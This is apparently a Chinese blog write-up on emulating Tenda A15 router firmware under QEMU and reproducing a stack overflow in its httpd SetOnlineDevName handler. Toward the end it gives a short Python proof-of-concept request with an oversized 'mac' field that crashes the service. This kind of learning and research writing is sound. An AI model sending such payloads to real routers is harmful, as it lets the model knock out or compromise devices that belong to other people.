Tenda A15 固件模拟与漏洞复现
01 前言
最近也是准备朝着实战方向进军,规划每周都复现一些漏洞,实战确实和CTF差别很大,打CTF的时候,很少用到网络上的知识,基本上都是纯粹的二进制漏洞,但是实战的时候发现自己真是个“偏科生”一点关系到一点web方面的知识,就卡住了,这下终于理解以前学习逆向的学长为什么到最后都是全栈选手了
02固件解包
固件下载地址
固件下载好之后对于我们这些初出茅庐的新手来说,只能选择binwalk3进行一键解包,简直不要太亲民。但是要是遇见没法一键解包的情况目前还不知道怎么处理,到时候自求多福吧

再文件夹中找到文件系统
1 2 3
| find . -type d -iname "*root*"
|

这就是我们需要的东西,由于目录路径一般比较深,可以把文件系统copy到方便找打的地方,后边要经常用
然后就是查看一下IOT设备框架了,直接找到bin中的busybx,发现是mipsel

这样下来我们就做好了基础的准备
03 信息收集
都说漏洞挖掘犹如大海捞针,如果自己一个一个文件看的话,可能效率会很低,这时候都需要用一些工具,来进行自动化分析或者信息收集,这次我只用的是入门级别工具firmwalker,直接开扫

可以发现WEB服务是httpd

04 分析启动项
再目录etc_ro中有init.d目录,其中的文件就是启动项

这些操作我们能执行的都要执行一下,要不一会模拟运行就会出问题呢(别问我怎么知道的😭)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| #!/bin/sh
mkdir -p ./var/etc mkdir -p ./var/media mkdir -p ./var/webroot mkdir -p ./var/etc/iproute mkdir -p ./var/run mkdir -p ./etc/udhcpc mkdir -p ./var/debug mkdir -p ./dev/pts mkdir -p ./var/ppp mkdir -p ./tmp
cp -rf ./etc_ro/* ./etc/ cp -rf ./webroot_ro/* ./var/webroot
|

04用户模拟运行
我们直接运行一下启动项看看怎么个事
1 2 3 4
| cp $(which qemu-mipsel-static) ./ sudo chroot . ./qemu-mipsel-static ./bin/httpd
|
成功运行但是ip貌似不对

IDA打开二进制文件分析一下,ip到底是怎么获取的
字符串查找发现发现有用信息

向上查看赋值情况,为函数参数赋值,交叉引用向上继续查

传入的是bss段地址,继续交叉引用查看赋值

发现再main函数中发现赋值情况,代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| GetValue("sys.workmode", value); if ( !strcmp(value, "apclient") || !strcmp(value, "ap") ) { strncpy(g_lan_ip, "0.0.0.0", 0x10u); } else { lan_ifname = ifaddrs_get_lan_ifname(); if ( ifaddrs_get_ifip(lan_ifname, br0IP) < 0 ) { GetValue("lan.ip", value); strcpy(g_lan_ip, value); } else { strcpy(g_lan_ip, br0IP); } }
|
分析到这函数的执行流程就很清楚了
1 2 3
| main -> initWebs -> websOpenServer -> websOpenListen -> socketOpenConnection
|
解决办法就是创建一个能检测到的网卡推荐创建br0
1 2 3 4 5
| sudo ip link add name br0 type bridge sudo ip link set br0 up sudo ip addr add 192.168.0.1/24 dev br0
|
成功解决

用浏览器即可进入WEB界面

05 系统模拟运行
下面展示一下系统模拟运行
自己再网上总结了很多脚本,自己稍加改动直接一键运行,简直不要太爽(就喜欢这种感觉哈哈),默认账户和密码都是root
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71
| #!/bin/bash
WORK_DIR="debian-mipsel-qemu" IMAGE_FILE="debian_squeeze_mipsel_standard.qcow2" KERNEL_FILE="vmlinux-2.6.32-5-4kc-malta" START_SCRIPT="start.sh"
if [ ! -d "$WORK_DIR" ]; then echo "创建目录 $WORK_DIR..." mkdir -p "$WORK_DIR" fi
cd "$WORK_DIR" || { echo "无法进入目录 $WORK_DIR"; exit 1; }
download_file() { local url=$1 local file=$2 if [ ! -f "$file" ]; then echo "正在下载 $file..." wget "$url" -O "$file" || { echo "下载失败"; exit 1; } else echo "$file 已存在,跳过下载" fi }
download_file "https://people.debian.org/~aurel32/qemu/mipsel/$IMAGE_FILE" "$IMAGE_FILE" download_file "https://people.debian.org/~aurel32/qemu/mipsel/$KERNEL_FILE" "$KERNEL_FILE"
echo "生成启动脚本..." cat > "$START_SCRIPT" << 'EOF'
sudo qemu-system-mipsel \ -nographic \ -M malta \ -kernel vmlinux-2.6.32-5-4kc-malta \ -hda debian_squeeze_mipsel_standard.qcow2 \ -net nic,macaddr=52:54:00:12:34:56 \ -net tap,ifname=tap0,script=no,downscript=no \ -append "root=/dev/sda1 console=tty0" EOF chmod +x "$START_SCRIPT"
required_files=("$IMAGE_FILE" "$KERNEL_FILE" "$START_SCRIPT") missing_files=()
for file in "${required_files[@]}"; do if [ ! -f "$file" ]; then missing_files+=("$file") fi done
if [ ${#missing_files[@]} -ne 0 ]; then echo "错误:以下文件缺失:" printf ' - %s\n' "${missing_files[@]}" exit 1 fi
echo "正在启动QEMU虚拟机..." ./"$START_SCRIPT"
|
启动完成我们就要配置网络了,实现主机虚拟机通信
配置网卡
1. 在宿主机创建 TAP 设备
1 2 3 4 5
| sudo ip tuntap add dev tap0 mode tap sudo ip link set tap0 up sudo ip addr add 10.10.10.1/24 dev tap0
|
2. 在虚拟机内配置 IP
1 2 3 4 5 6 7
| ip addr add 10.10.10.2/24 dev eth0 ip link set eth0 up ip link add br0 type dummy ip addr add 10.10.10.3/24 dev br0 ip link set br0 up
|

把文件系统打包一下,然后用http服务发送到虚拟机

虚拟机这边用wget下载一下,解压文件系统

然后运行启动
1 2 3 4
| chroot . sh ./bin/httpd
BASH
|
直接访问10.10.10.3:80也能出现WEB界面

由于我们终端运行着WEB服务,要看输出信息,所有我们可以连一个SSH以执行其他命令
06逆向分析与漏洞复现
用IDA打开httpd分析一下
再initWebs
是初始话web界面,并根据提交表单调用相应功能
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| int initWebs() { unsigned int v0; unsigned int v1; char *cp; in_addr intaddr; char host[128]; char webdir[128]; char_t wbuf[128];
memset(wbuf, 0, sizeof(wbuf)); doSystemCmd("echo 0 > /proc/sys/net/ipv4/tcp_timestamps"); socketOpen(); inet_aton(g_lan_ip, &intaddr); strcpy(webdir, rootWeb); websSetDefaultDir(webdir); cp = inet_ntoa(intaddr); v0 = strlen(cp) + 1; if ( v0 >= 0x80 ) v0 = 0x80; ascToUni(wbuf, cp, v0); websSetIpaddr(wbuf); v1 = strlen(host) + 1; if ( v1 >= 0x80 ) v1 = 0x80; ascToUni(wbuf, host, v1); websSetHost(wbuf); websSetDefaultPage("index.html"); websSetPassword(password); if ( websOpenServer(port, retries) >= 0 ) { websUrlHandlerDefine(byte_46FC3C, 0, 0, R7WebsSecurityHandler, 1); websUrlHandlerDefine("/goform", 0, 0, websFormHandler, 0); websUrlHandlerDefine("/cgi-bin", 0, 0, webs_Tenda_CGI_BIN_Handler, 0); websUrlHandlerDefine(byte_46FC3C, 0, 0, websDefaultHandler, 2); formDefineTendDa(); websUrlHandlerDefine("/", 0, 0, websHomePageHandler, 0); return 0; } else { printf("%s %d: websOpenServer failed\n", "initWebs", 0x1D0); return 0xFFFFFFFF; } }
|
在formDefineTendDa
函数中就是各个表单调用的程序
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| void formDefineTendDa() { websAspDefine("aspGetCharset", aspGetCharset); websFormDefine("getOnlineList", formGetOnlineList); websAspDefine("asp_error_message", asp_error_message); websAspDefine("asp_error_redirect_url", asp_error_redirect_url); websFormDefine("SetOnlineDevName", formSetDeviceName); websFormDefine("setBlackRule", formAddMacfilterRule); websFormDefine("delBlackRule", formDelMacfilterRule); websFormDefine("getBlackRuleList", formGetMacfilterRuleList); websFormDefine("getDeviceInfo", formGetDeviceInfo); websFormDefine("telnet", TendaTelnet); websFormDefine("SysToolReboot", fromSysToolReboot); websFormDefine("SysToolRestoreSet", fromSysToolRestoreSet); websFormDefine("SysToolChangePwd", fromSysToolChangePwd); websFormDefine("SysToolSetUpgrade", fromSysToolSetUpgrade); websFormDefine("WifiBasicGet", formWifiBasicGet); websFormDefine("WifiBasicSet", formWifiBasicSet); websFormDefine("WifiApScan", formWifiApScan); websFormDefine("ate", TendaAte); websFormDefine("setApModeCfg", fromsetApModeCfg); websFormDefine("getApModeCfg", fromgetApModeCfg); websFormDefine("WifiExtraSet", fromSetWirelessRepeat); websFormDefine("getQuicksetBridge", fromGetWirelessRepeat); websFormDefine("getStatusBeforeBridge", fromGetWirelessRepeat); websFormDefine("exit", formExit); websFormDefine("hasLoginPwd", formhasLoginPwd); websFormDefine("loginOut", fromLoginOut); websFormDefine("sysToolsInfo", fromSysToolsInfo); }
|
根据大佬的话说就是多关注带有set的功能,因为大多数是需要接受前端数据,进行设置操作的,因此存在较高的安全风险
分析处理SetOnlineDevName
请求的formSetDeviceName
函数,其中的set_device_name
发现漏洞
没有对字符串长度校验,使用sprintf
会造成栈溢出漏洞导致程序崩溃

写一个POC测试一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
|
import os import requests
ip = '10.10.10.3'
url = f'http://{ip}/goform/SetOnlineDevName'
payload = { "mac": '00:0c:29:5f:4d:3c' * 0x100, "devName": 'devname1' }
res = requests.post(url=url , data=payload) print(res.content)
|
但是和我们预想的不一样

发现程序并没有崩溃,还打印了信息**device name setted failed!*和*set device name error!
进入IDA定位一下执行位置,发现进入下边这个分支

是应为调用tpi_set_mac_info
这个外部函数是进行写入nvram
设备的操作,但是我们用qemu模拟的就会调用失败,进入这个分支,所有我们可以改变一下程序的执行流,用IDA进行patch一下,直接把跳转指令nop掉就达到我们的目的了

patch成功,传入mips虚拟机运行

再次发从POC程序崩溃

至此漏洞复现工作完成,虽然比较简单,但是还是学到很多东西